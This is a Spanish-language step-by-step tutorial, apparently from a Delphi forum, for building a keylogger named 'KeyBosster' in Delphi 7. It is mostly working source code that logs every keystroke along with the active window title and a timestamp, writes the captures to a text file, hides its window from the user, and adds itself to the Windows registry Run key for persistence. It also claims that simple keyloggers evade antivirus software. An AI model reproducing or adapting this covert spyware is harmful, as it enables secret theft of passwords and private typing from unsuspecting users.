KeyBosster

Creación de un Keylogger, desde cero

Clasificación del programa: Keylogger

Clasificación de este archivo: Tutorial

Lenguaje de programación: Delphi 7

Autor: Bosster_018

Autores originales: Thor y Sr. Sombrero www.indetectables.net

Página Web de referencia: www.ClubDelphi.com

Este tutorial es una recopilación básica del tutorial "YEKlogger".
El autor y las páginas Web de referencia no se hacen responsables del mal uso de este tutorial ni del programa en específico.

En este manual, vamos a ver como se programa un Keylogger desde cero, asumiendo que los conceptos que tenemos sobre el lenguaje de programación Delphi son mínimos.

Empezaremos con unas pequeñas explicaciones sobre el significado de algunas palabras para luego realizar algunos ejemplos paso a paso, para luego terminar con el programa de forma ordenada y modulada.

Preguntas y Respuestas:

¿Qué es un Keylogger?
Es un tipo de software que se encarga de registrar las pulsaciones que se realizan en el teclado, para memorizarlas en un fichero o enviarlas a través de Internet.

¿Un Keylogger es un virus?
No es considerado un virus. Pero sí es considerado un Troyano.

¿Un Keylogger siempre será detectado por los antivirus?
No, Pues como la mayoría de los programas, usan las funciones básicas para capturar un evento en el teclado... éste puede ser pasado como una aplicación cualquiera, a diferencia de los que ya están marcados como Troyanos o acceden a la red de manera confidencial al usuario, por lo que son detectados fácilmente; pero, los Keylogger simples no son detectados.

Mayor información aquí:

http://es.wikipedia.org/wiki/Keylogger

Programación del Keylogger:

Al Keylogger que vamos a crear lo he llamado "KeyBosster".
Las diferentes funciones y procedimientos que necesitará este Keylogger se realizará de manera separada y ordenada en módulos. Empezaremos con un pequeño ejemplo de "captura teclas", para iniciar en la codificación.
Se tratará de explicar a detalle lo que se hace en la escritura del programa.

Iniciando:

Te recuerdo que por lo menos debes tener un mínimo de conocimiento trabajando en Delphi.
En esta parte sólo realizaremos un pequeño ejemplo sobre una aplicación que capture las teclas presionadas. No representa al "Keybosster" en realidad, es sólo un ejemplo de práctica.
Iniciaremos abriendo un nuevo formulario en Delphi.
Añade un Memo a tu Formulario, ponle la propiedad ReadOnly a true y borrale las "lines" que tenga.
Añadele un Timer (que está en la pestaña System) y ponle el intervalo a 5 (milisegundos).
Luego haz doble click en el Timer y escribes esto:

Código:

```
procedure TForm1.Timer1Timer(Sender: TObject);
var
  a : byte;
begin
  for a:=65 to 90 do
  begin
    if (GetAsyncKeyState(a) = -32767) then
    begin
      Memo1.Text:= Memo1.Text+Char(a);
    end;
  end;
end;
```

Ahora ejecuta la aplicación y notarás como el Memo captura todas las teclas que tú presiones en el teclado, desde cualquier ubicación.

Explicación:

La función **GetAsyncKeyState** determina si una tecla está pulsada en el momento en el que se llama a la función.
La variable "a" que le pasamos a GetAsyncKeyState es un "Virtual Key Code", como lo veremos a continuación en la página de Microsoft:

http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winui/winui/WindowsUserInterface/UserInput/VirtualKeyCodes.asp

Como puedes ver en esa página las letras A-Z van desde el 41 al 5A (hexadecimal) que pasado a decimal es desde 65 hasta 90.
Entonces lo que hace el código es un bucle comprobando si:
GetAsyncKeyState(65)=-32767 (letra A)
...
...
GetAsyncKeyState(90)=-32767 (letra Z)
Mirando cual es el estado de las distintas teclas, si es igual a -32767 entonces significa que esa tecla estaba pulsada y la añade al memo.
Char(a); Convierte un número a su correspondiente caracter ASCII.

Espero que haya quedado claro el funcionamiento de este pequeño ejemplo, aunque nos ha quedado un Keylogger malísimo...

Se ve una ventana (no es invisible)
No guarda las capturas
No reconoce las mayúsculas ni minúsculas.
No identifica algunos caracteres.
No identifica la ventana donde se escribe

En fin muy simple, pues éste era sólo un ejemplo de su funcionamiento del uso de las Apis de Windows.

Ahora vamos en serio...

Iniciando programación del Keylogger "KeyBosster":

(El ejemplo anterior no está relacionado con esto)
Toda la programación lo realizaremos en otra unidad (unit2) para que el resultado sea un programa ordenado y sin complicaciones.
Empezaremos abriendo un nuevo formulario luego de guardar todo tu proyecto debes crear una nueva unidad, para ello haces click en el menú "File" de Delphi y seleccionas "New", luego seleccionarás "unit" y la segunda unidad será creada *(es aconsejable guardar también esa unidad)*

En la segunda unidad (Unit2) observarás esto:

Código:

```
unit Unit2;

interface

implementation

end.
```

Vamos a agregar algunas "Uses" a la unidad para que este pueda reconocer algunas funciones de Windows.
Debajo de "interface" escribiremos "Uses" y debajo lo completaremos con:

Windows, DateUtils, Sysutils, Registry;

Que es lo necesario para que nuestro programa pueda trabajar.

Código:

```
unit Unit2;

interface

Uses
  Windows, DateUtils, Sysutils, Registry;

implementation

end.
```

Ahora pondré una lista de lo que incluirá la aplicación “KeyBosster”:

1.- Un procedimiento para guardar en un texto (txt) lo registrado en el Keylogger.
2.- Una función para que el Keylogger convierta los caracteres del teclado numérico (Keypad).
3.- Una función para que el Keylogger convierta las mayúsculas y minúsculas.
4.- Función para verificar el nombre de la ventana en el que se capturo el teclado (captura ventana).
5.- El procedimiento para capturar teclas.
6.- Un procedimiento para auto-iniciar el Keylogger al encender Windows (Auto-Run).

Como podrán notar, el programa se dividirá en 6 partes o módulos para ser trabajados.
También se incluirá la manera de ocultar la aplicación (que no sea visible). Que observaremos después en el formulario.

Siguiendo con la segunda unidad, vamos a completar lo que vamos a realizar en esta aplicación escribiendo debajo de lo declarado en “Uses”
Vamos a escribir las 6 operaciones que realizaremos en el KeyBosster:

Código:

```
unit Unidad2;

interface

Uses
  Windows, DateUtils, Sysutils, Registry;

  procedure Guardar;
  function keyPad(numero: integer): char;
  function minusculas(minuscula: char): char;
  function Ventana : string;
  procedure Teclado;
  procedure Autoinicio_Windows;

implementation

end.
```

Si compilamos o deseamos ejecutar el programa en este momento, notaremos que Delphi nos avisa que estas operaciones han sido declaradas pero no usadas *(o algo así)*.
Por eso lo completaremos escribiendo después de “implementation” todas las operaciones declaradas pero seguidas de un “Begin” y un “end”:

Código:

```
unit Unidad2;

interface

Uses
  Windows, DateUtils, Sysutils, Registry;

  procedure Guardar;
  function keyPad(numero: integer): char;
  function minusculas(minuscula: char): char;
  function Ventana : string;
  procedure Teclado;
  procedure Autoinicio_Windows;

implementation

procedure Guardar;
begin

end;

function keyPad(numero: integer): char;
begin

end;

function minusculas(minuscula: char): char;
begin

end;

function Ventana : string;
begin

end;

procedure Teclado;
begin

end;

procedure Autoinicio_Windows;
begin

end;

end.
```

Completado esto, agregaremos unas variable extras que utilizaremos en el Keylogger. Las variables serán declaradas debajo de “implementation” y antes de cualquier función o procedimiento creado.

Vamos a crear una variable “Tventana” que lo utilizaremos para amplificar la función “Ventana”. También crearemos una variable “Texto” que es donde guardaremos todo lo capturado por el KeyBosster.

Código:

```
unit Unidad2;

interface

Uses
  Windows, DateUtils, Sysutils, Registry;

  procedure Guardar;
  function keyPad(numero: integer): char;
  function minusculas(minuscula: char): char;
  function Ventana : string;
  procedure Teclado;
  procedure Autoinicio_Windows;

implementation
var
  TVentana : string;
  Texto : string;

end.
```

1.- Procedimiento para guardar el texto capturado:

Comencemos con el primer procedimiento:

Vamos a utilizar el procedimiento estándar que se utiliza para guardar un texto con Delphi: Utilizaremos la variable “Texto” que ya hemos declarado antes, y que se encargará de almacenar las teclas registradas.

Código:

```
procedure Guardar;
var
  Hoja : TextFile;
begin
  //Éste es el procedimiento para guardar la información en un texto
  AssignFile(Hoja, 'boss.txt');

  //sino existe el texto, creamos uno nuevo
  if not FileExists('boss.txt') then
    ReWrite(Hoja)
  else  //Caso contrario sólo reescribimos el texto
    Append(hoja);
    Write(Hoja, Texto);
    CloseFile(Hoja);
    Texto:= '';
end;
```

El parámetro con el nombre “boss.txt” es el nombre del archivo de texto que se guardará en la misma carpeta donde se encuentra el ejecutable .exe; osea junto al KeyBosster.
Hasta ahora la aplicación va tomando forma... Pero a como dé lugar, la codificación se hará mas extensa.

2.- Función para que el Keylogger convierta los caracteres del teclado numérico (Keypad).

Lo que haremos aquí es una forma de simplificar un poco la codificación del teclado numérico. Para ello realizaremos lo siguiente.

Código:

```
function keyPad(numero: integer): char;
begin
  {Función que asigna al teclado numérico desde
   los caracteres ASCII}
  Result:=char(numero+48);
end;
```

Explicación:

El teclado numérico (KeyPad) es representado por el VirtualKeyCode mostrado anteriormente en la página de Microsoft
Representación Decimal de 0 al 9 de teclado numérico.
96 hasta 105
Pero la forma de capturar estas teclas tienen que ser en caracteres, por lo que se lo debe convertir en tal.

Para eso utilizo una operación en la que el caracter utilizado sea convertido en un número.
En el VirtualKeyCode de Microsoft muestran que los números del 0 al 9 están representados en forma decimal con los siguientes caracteres:

48 hasta el 57

Por lo que si restamos el VirtualKeyCode del teclado numérico (96) menos 48 resultaría: 48

Por ejemplo si se captura la tecla numérica "2":

```
if VK_NUMPAD2=true then
  Caracter:= Keypad(Caracter-VK_NUMPAD2)
```

O sea el caracter (96) se restará menos 48. Dando lugar al caracter numérico.
En el procedimiento "Captura Teclas" se explicará mejor.

3.- Función para que el Keylogger convierta la mayúsculas y minúsculas:

Al igual que el anterior, se hace una comparación entre el código VirtualKeyCode y se realiza una resta de 32.

Código:

```
function minusculas(minuscula: char): char;
begin
  {Función que asigna al las teclas en minúsculas desde
   los caracteres ASCII}
  Result:=char(ord(minuscula)+32);
end;
```

Al igual que la otra función, esta se dedica a convertir las mayúscula y las minúsculas, dada la ocasión. En el procedimiento (Capturar Teclas) se especifica como distinguir las teclas mayúsculas y minúsculas, para luego llamar a esta función para realizar la conversión.

4.- Función para verificar el nombre de la ventana en el que se capturó el teclado (captura ventanas):

Esta es la función que nos indica el nombre de la ventana activa en ese momento:

Código:

```
function Ventana : string;
var
  h : THandle;
  l : LongInt;
  Titulo : string;
begin
  {Función para capturar el nombre de la ventana capturada}
  h := GetForegroundWindow;
  l := GetWindowTextLength(h) + 1;
  SetLength(titulo, l);
  GetWindowText(h, PChar(titulo), l);
  Result :=titulo;
end;
```

Explicación:

En la variable “h” guarda el Handle (manejador) de la ventana activa en ese momento,
esta se obtiene mediante la función GetForeGroundWindow. En Msdn de Microsoft dicen:
Cita:
La función “GetForegroundWindow”retorna un handle de la ventana de window (La ventana que se está usando en ese momento).
Para eso con la función “GetWindowTextLength” (Handle) guardamos en la variable "l" la longitud del título de la ventana (Handle).
En la página de Microsoft dicen:
Cita:
La función “GetWindowTextLength” muestra en específico el largo de la cadena del nombre de una ventana (handle)
Osea el título de la ventana de Windows.
Ajustamos la longitud de la cadena Titulo a "L", que es la longitud del título de la ventana.
Y ya con la función “GetWindowText” nos da el título de la ventana.
Para finalizar le decimos que el resultado de esa función sea Titulo, quitándole los espacios que tenga a la derecha (TrimRight).

5.- El procedimiento para capturar teclas:

Si creyeron que hasta aquí era lo grande..... Se equivocaron pues esta es la parte de la codificación más grande que haremos.
Aquí uniremos todas las funciones que hemos escrito anteriormente y le daremos forma al procedimiento de capturar teclas.

¿Se acuerdan del pequeño ejemplo que realizamos primero?
Pues ahora lo pondremos en practica.
Empezaremos por asignar tres variable al procedimiento para capturar teclas.

Código:

```
procedure Teclado;
var
  a : byte;
  tecla : string;
  mayusculas : boolean;
begin

end;
```

Explicación:

La variable “a” lo asignaremos para el contador de caracteres que utilizaremos.
La variable “tecla” es un almacén temporal, donde guardaremos el carácter capturado en ese momento. (tecla capturada)
Y la variable “mayusculas” se utilizará para identificar si la tecla presionada es reconocida como mayúscula o minúscula, asignándolo un valor booleano *(verdadero o falso)*

Esperen que esto apenas es el comienzo de un `procedimiento extenso como este...

Continuando con el procedimiento... Comenzaremos con el contador:

```
for a:= 8 to 222 do
begin
```

A diferencia del anterior ejemplo, esta vez empezaremos a contar desde el carácter 8 hasta el 222 pues esto incluye todos los caracteres que contiene el teclado, incluyendo caracteres especiales como la “ñ”, “@”, etc.

Ahora iniciaremos la variable tecla en vacío:

```
for a:= 8 to 222 do
begin
 if (GetAsyncKeyState(a) = -32767) then
 begin
   //Iniciamos la variable tecla sin ningún caracter
   tecla := '';
end;
```

Siguiendo con el mismo código, realizaremos una condición para verificar si la tecla “mayúscula” está activado, seguido de una verificación que compruebe si la tecla “Shift” está siendo presionada:

Código:

```
if (GetAsyncKeyState(a) = -32767) then
begin
   //Iniciamos la variable tecla sin ningún caracter
   tecla := '';
   //preguntamos si la tecla mayúscula está activado (Bloq Mayús)
   if Odd(GetKeyState(VK_CAPITAL)) then
      {Si estuviera activado, preguntamos si la tecla
      de presión de la mayúscula esta presionada}
      if GetKeyState(VK_SHIFT)<0 then
        //Si fuera así, las letras sería minúsculas
        Mayusculas:=False
      else
        //Caso contrario la letras sería mayúsculas
        Mayusculas:=True
   else //Si la teclas (Bloq mayús) no estuviera desactivado
      //preguntamos si la tecla Shift está presionado
      if GetKeyState(VK_SHIFT)<0 then
        //Si fuera así contrario la letras sería mayúsculas
        Mayusculas:=True
      else
        //Sino, las letras sería minúsculas
        Mayusculas:=False;
```

Explicación:

Vamos a hacer que el keylogger distinga entre mayúsculas y minúsculas para que el texto final quede más presentable.
Para saber el estado de las mayúsculas usaremos una función que nos dice si las “mayúsculas” están activadas y si la tecla “Shift” está pulsada, de esta forma sabremos si escribe en minúsculas o mayúsculas. La función es “GetKeyState”, en msdn de la página de Microsoft dicen:
Cita:
La función “GetKeyState” nos da el estado de la tecla virtual especificada. El estado especifica si la tecla está sin pulsar, pulsada o "activada"

Fijándonos un poco mas abajo en msdn nos dice que valores devuelve esa función:
Cita:
El valor del retornado, especifica el estado de la tecla virtual:
Si la tecla “Bloq mayúscula”está activada, el valor es 1, caso contrario, si la tecla no está activada, el valor será 0.

Esta parte habla sobre la tecla “Bloq Mayúsculas”, nos dice que la tecla mayúsculas está en "1" si es activada y si es 0 es que está desactivada.

Como sólo nos interesa el bit de menor valor, usamos la función odd, es como una función "impar", nos devuelve true si el valor es impar. Así que si las mayúsculas están activadas el último bit será 1 y el número será impar, odd devolverá true.

La segunda cosa que debemos mirar es si la tecla “Shift” está pulsada. Para ello usaremos también la función GetKeyState(VK_SHIFT) que devolverá un valor menor que 0 si la tecla está pulsada.
Definimos una variable booleana (true o false) llamada Mayúsculas, en ella guardamos el estado de las mayúsculas.
Es por eso que el código anteriormente visto queda así:

```
if (GetAsyncKeyState(a) = -32767) then
begin
   tecla := '';
   if Odd(GetKeyState(VK_CAPITAL)) then
     if GetKeyState(VK_SHIFT)<0 then
       Mayusculas:=False
     else
       Mayusculas:=True
   else
      if GetKeyState(VK_SHIFT)<0 then
        Mayusculas:=True
      else
        Mayusculas:=False;
```

Siguiendo con las “Teclas virtual” (VirtualKeyCode) iremos completando el procedimiento.
El página de Microsoft al igual que en la Ayuda de Delphi (F1) se pueden ver una lista del teclado Virtual. (VirtualKeyCode):

VK_BACK	Tecla retroceso - borrado
VK_TAB	Tecla TAB
VK_RETURN	Tecla Enter
VK_SHIFT	Tecla Shift
VK_CONTROL	Tecla Ctrl
VK_MENU	Tecla Alt
VK_PAUSE	Tecla Pause
VK_CAPITAL	Tecla Caps Lock
VK_ESCAPE	Tecla Esc
VK_SPACE	Tecla Spacer
VK_PRIOR	Tecla Page Up
VK_NEXT	Tecla Page Down
VK_END	Tecla End
VK_LEFT	Tecla Left Arrow
VK_UP	Tecla Up Arrow
VK_DOWN	Tecla Down Arrow
VK_SELECT	Tecla Select
VK_INSERT	Tecla Insert
VK_DELETE	Tecla Delete
VK_HELP	Tecla Help
VK_NUMPAD0	Tecla 0 (Teclado Numérico)
VK_NUMPAD1	Tecla 1 (Teclado Numérico)
VK_NUMPAD2	Tecla 2 (Teclado Numérico)
VK_NUMPAD3	Tecla 3 (Teclado Numérico)
VK_NUMPAD4	Tecla 4 (Teclado Numérico)
VK_NUMPAD5	Tecla 5 (Teclado Numérico)
VK_NUMPAD6	Tecla 6 (Teclado Numérico)
VK_NUMPAD7	Tecla 7 (Teclado Numérico)
VK_NUMPAD8	Tecla 8 (Teclado Numérico)
VK_NUMPAD9	Tecla 9 (Teclado Numérico)
VK_MULTIPLY	Tecla Multiply (Teclado numérico)
VK_ADD	Tecla Add (Teclado numérico)
VK_SEPARATOR	Tecla Separator (Teclado numérico)
VK_SUBTRACT	Tecla Subtract (Teclado numérico)
VK_DECIMAL	Tecla Decimal (Teclado numérico)
VK_DIVIDE	Tecla Divide (Teclado numérico)
VK_F1 hasta VK_F24	Tecla F1 hasta F24
VK_NUMLOCK	Tecla Num Lock
VK_LSHIFT	Tecla Left Shift (Usado con “GetAsyncteclaState” y “GetKeyState”)
VK_RSHIFT	Tecla Right Shift (Usado con "GetAsyncteclaState" y "GetKeyState")
VK_LCONTROL	Tecla Left Ctrl (Usado con "GetAsyncteclaState" y "GetKeyState")
VK_RCONTROL	Tecla Right Ctrl (Usado con "GetAsyncteclaState" y "GetKeyState")
VK_LMENU	Tecla Left Alt (Usado con "GetAsyncteclaState" y "GetKeyState")
VK_RMENU	Tecla Right Alt (Usado con "GetAsyncteclaState" y "GetKeyState")

Viendo esa lista podremos completar el procedimiento “captura teclas”:
*Esta parte del código, es la continuación del anterior (después de **Mayusculas:=False;**)*

Código_

```
case a of  // dado las condiciones realizamos el procedimiento siguiente
   //Como puedes notar, asignamos a la variable "tecla", las teclas presionadas
   VK_SPACE:tecla := ' ';
   VK_ADD:tecla:= '+';
   VK_SUBTRACT:tecla:= '-';
   VK_MULTIPLY:tecla:= '*';
   VK_DIVIDE:tecla:= '/';
   VK_DECIMAL:tecla:= '.';
   VK_NUMPAD0..VK_NUMPAD9:tecla:= keyPad(a-VK_NUMPAD0);
   VK_RETURN:tecla:= #13#10;
   VK_LMENU:tecla:= '[Alt +]';
   VK_TAB:tecla:= char(9);
```

Continuando con una serie de condiciones, utilizando el código de caracteres ASCII:
*Esta parte del código, es la continuación del anterior (después de **VK_TAB:tecla:= char(9);)***

Código:

```
   //Aqúi se utiliza el valor de los caracteres ASCII
   48: if GetKeyState(VK_SHIFT)<0 then
         tecla:= '='
       else
         tecla:= '0';

   49: if GetKeyState(VK_RMENU)<0 then
         tecla:= '|'
       else
       if GetKeyState(VK_SHIFT)<0 then
         tecla:= '!'
       else
         tecla:= '1';

   50: if GetKeyState(VK_RMENU)<0 then
         tecla:= '@'
       else
       if GetKeyState(VK_SHIFT)<0 then
         tecla:= ""
       else
         tecla:= '2';
```

Continuando con el código:

Código:

```
51: if GetKeyState(VK_RMENU)<0 then
      tecla:= '#'
    else
    if GetKeyState(VK_SHifT)<0 then
      tecla:= '·'
    else
      tecla:= '3';

52: if GetKeyState(VK_RMENU)<0 then
      tecla:= '~'
    else
    if GetKeyState(VK_SHifT)<0 then
      tecla:= '$'
    else
      tecla:= '4';

53: if GetKeyState(VK_RMENU)<0 then
      tecla:= '€'
    else
    if GetKeyState(VK_SHifT)<0 then
      tecla:= '%'
    else
      tecla:= '5';

54: if GetKeyState(VK_RMENU)<0 then
      tecla:= '¬'
    else
    if GetKeyState(VK_SHifT)<0 then
      tecla:= '&'
    else
      tecla:= '6';

55: if GetKeyState(VK_SHifT)<0 then
      tecla:= '/'
    else
      tecla:= '7';

56: if GetKeyState(VK_SHifT)<0 then
      tecla:= '('
    else
      tecla:= '8';

57: if GetKeyState(VK_SHifT)<0 then
      tecla:= ')'
    else
      tecla:= '9';
```

Código:

```
//Aquí capturamos las teclas desde la "A" hasta la "Z"
//También hacemos uso de la variable "mayusculas"
65..90: if (mayusculas=true) then
          tecla:= char(a)
        else
          tecla:= minusculas(char(a));

186: if GetKeyState(vk_Rmenu)<0 then
       tecla:= '['
     else
     if GetKeyState(VK_SHIFT)<0 then
       tecla:= '^'
     else
       tecla:= '`';

187: if GetKeyState(VK_RMENU)<0 then
       tecla:= ']'
     else
     if GetKeyState(VK_SHIFT)<0 then
       tecla:= '*'
     else
       tecla:= '+';

188: if GetKeyState(VK_SHIFT)<0 then
       tecla:= ';'
     else
       tecla:= ',';

189: if GetKeyState(VK_SHIFT)<0 then
       tecla:= '_'
     else
       tecla:= '-';

190: If GetKeyState(VK_SHIFT)<0 then
       tecla:= ':'
     else
       tecla:= '.';

191: if GetKeyState(vk_Rmenu)<0 then
       tecla:= '}'
     else
     if GetKeyState(VK_SHIFT)<0 then
       tecla:= 'Ç'
     else
       tecla:= 'ç';
```

Código:

```
      192: if mayusculas=true then
             tecla:= 'Ñ'
           else
             tecla:= 'ñ';

      220: if GetKeyState(VK_RMENU)<0 then
             tecla:= '\'
           else
           if GetKeyState(VK_SHIFT)<0 then
             tecla:= 'ª'
           else
             tecla:= 'º';

      222: if GetKeyState(VK_RMENU)<0 then
             tecla:= '{'
           else
           if GetKeyState(VK_SHIFT)<0 then
             tecla:= '¨'
           else
             tecla:= '´';

    end;
```

Explicación:

Hasta aquí termina una parte, pero sobra mucho más...
Lo que acabamos de hacer es preguntar por cada tecla presionada, desde la “A” hasta la “Z” en mayúsculas y minúscula... Incluyendo los caracteres especiales como “ñ” y “Ñ”, “@”, “[” y todos los que ven en el código.

Ahora nos ocuparemos por que capture la tecla de Retroceso o Borrado:
*Escribimos abajo del Código, (Depués de **End;**):*

Código

```
    //Si se presiona la tecla de retroceso o borrado
    //Se elimina el último caracter capturado en la variable "Texto"
    if GetKeyState(VK_BACK)<0 then
      Delete(Texto, length(Texto),1);
```

Explicación:

Aquí utilizamos el procedimiento “Delete” que tiene Delphi para borrar el último carácter de la variable “Texto” que es donde se almacenan las teclas capturadas.

Por último realizamos la condición para almacenar las teclas pulsadas:
También utilizaremos la función “Ventana” que hemos realizado anteriormente. Pero con una comparación para ver si el usuario cambia de ventana al presionar las teclas.
Por último agregamos la fecha y la hora en la que se capturó el texto.
Siguiendo al anterior código. Después de ***Delete(Texto, length(Texto),1);***

Código:

```
    if tecla <> '' then
    begin
      {Este parte de la condición sirve para verificar
       si se sigue en la misma ventana que antes}
      if Ventana <> TVentana then
      begin
        TVentana:= Ventana;
        {todas las teclas presionadas se almacenan en la
         variable "Texto" y se suman los siguiente datos:
           = Nombre de la ventana (TVentana)
           = Por supuesto separado con un espacio y enter (#13#10),
             para que se vea más vistoso
           = La fecha en la que se capturó las teclas
           = La hora en el que se capturó las teclas}
        Texto:= Texto+#13#10#13#10+'|- '+Tventana+'-|'+#13#10+'- '+DateToStr(Now)
        +'  ;  '+TimeToStr(Now)+' -'+#13#10;
      end;
        //Por último, la variable texto será igual al texto más
        //la tecla capturada
        Texto:=Texto + tecla;
    end;
  end;
 end
end;
```

Explicación:

Supongo que la explicación está muy detallada en el código.
Pero para completarlo diré que la función “TimeToStr(Now)” devuelve la fecha actual que se encuentra en Windows. Y la función “DateToStr(Now)” devuelve la hora actual de Windows en la que se llamó a dicha función.
El “#13#10” representa a un enter (para dejar espacio en el texto).

Al final todo se almacena en la variable “Texto”.

Ahí Termina el procedimiento “Teclado”.
Es el más Extenso... ¿Verdad?.

Ahora terminaremos con el último procedimiento para luego ir ordenando en la Unidad 1 (Unit1) de nuestro formulario.:

Procedimiento “Autoinicio de Windows” (Auto-Run):

Lo que realizaremos aquí será la típica escritura en el Registro de Windows (Regedit).
Para ello escribiremos esto:
Nota.- La explicación se da en el mismo código

Código:

```
Procedure Autoinicio_Windows;
var
  Registro : TRegistry;
begin
   //Creamos memoria en el registro
   Registro:=TRegistry.create;
   //Asignamos la Rama Principal del Registro de Windows
   Registro.RootKey:=HKEY_LOCAL_MACHINE;
   //Indicamos en que rama del registro escribiremos.
   //En este caso en el inicio de Windows (Run)
   if Registro.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run\',FALSE)  then
     //Finalmente creamos un nuevo valor para el autoinicio
     //Puedes poner otro nombre al inicio que le nombras...
     //En este caso yo elegí el mismo nombre de mi programa
     //Nota: Cómo parámetro puse cero
    Registro.WriteString('KeyBosster',(ParamStr(0)));

    {Parámetro = Ruta de la aplicación. Si no se sabe la dirección
     exacta de tu programa puedes dejarlo en cero, y automáticamente
     asignará la dirección donde se encuentra el programa para autoiniciar}
end;
```

Unit1:

Ya terminamos toda la Unidad 2 (Unit2) ahora trabajaremos en la Unidad 1 del formulario.

Nos ubicamos en la unidad 1 del formulario y en las **Uses** declaramos a la Unidad 2:

Código:

```
uses
   Windows, Forms, Classes, ExtCtrls, Unit2;
```

Luego, agregaremos 1 “Timer” que se encuentra en la pestaña “System”. Y ponle el intervalo a 5 (milisegundos).

Luego haz Doble Click en el “Timer1” y añade esto:

Código:

```
procedure TForm1.Timer1Timer(Sender: TObject);
begin
  //Aquí declaramos al procedimiento “Teclado” que se encuentra en la Unidad 2
  Teclado;
end;
```

Luego, añades otro Timer y ponle el intervalo a 6000 (milisegundos o 6 segundos) en el segundo Timer (Timer2) haz doble click en él y añade al procedimiento “Guardar” que realizamos en la Unidad 2 (Unit2):

Código_

```
procedure TForm1.Timer2Timer(Sender: TObject);
begin
  //Aquí declaramos al procedimiento “Teclado” que se encuentra en la Unidad 2
  Guardar;
end;
```

con eso Guardaremos lo capturado cada 6 segundos.

Y para finalizar en el FormCreate del formulario, Haremos que la aplicación sea totalmente “Invisible” al usuario común. Y añadiremos el procedimiento de Autoinicio de Windows:

```
procedure TForm1.FormCreate(Sender: TObject);
begin
  //Indicamos que la aplicación sea de forma "invisible"
  //(sin la vista del formulario)
  Application.ShowMainForm:= false;

  //Añadimos el autoinicio de Windows
  Autoinicio_Windows;
end;
```

Con esto concluye el Tutorial sobre “Realizar un Keylogger desde cero”.
Espero que me hayan entendido, y que las explicaciones disponibles en el código sean de ayuda.
Recuerden que un buen programador se encarga de resolver problemas, y no desesperen sino les sale algún código.

Pueden consultar en el foro www.ClubDelphi.com que es un foro dedicado especialmente al hermoso lenguaje de programación Delphi.

Si hay algo que no les salió bien, o quieren echarle una ojeada a la código.
Pueden descargar el código completo en las FTP del foro www.Clubdelphi.com .

Ésta es la página de descarga:

Código Fuente "KeyBosster":

http://www.terawiki.com/clubdelphi/archivos/Delphi/Ejemplos/Keylogger.zip

Autor: Bosster_018
Aplicación: KeyBosster
Agradecimiento al foro ClubDelphi por darme un espacio en la red para publicar este Manual.
Al igual que al creador del Tutorial "YEKlogger" que fue una inspiración para realizar este manual.

Nota.- La mayor parte del código pertenecen al Tutorial "YEKlogger" del autor **Thor**

La aplicación "KeyBosster" fue realizado en Delphi 7.
Pensado especialmente para nosotros los novatos, en la programación. *¡Sigamos Adelante!*
Este Tutorial puede presentar errores de sintaxis al igual que en la explicación del uso de algunas partes del código.

Página donde se almacena el Tutorial:

http://www.terawiki.com/clubdelphi/Delphi/Manuales/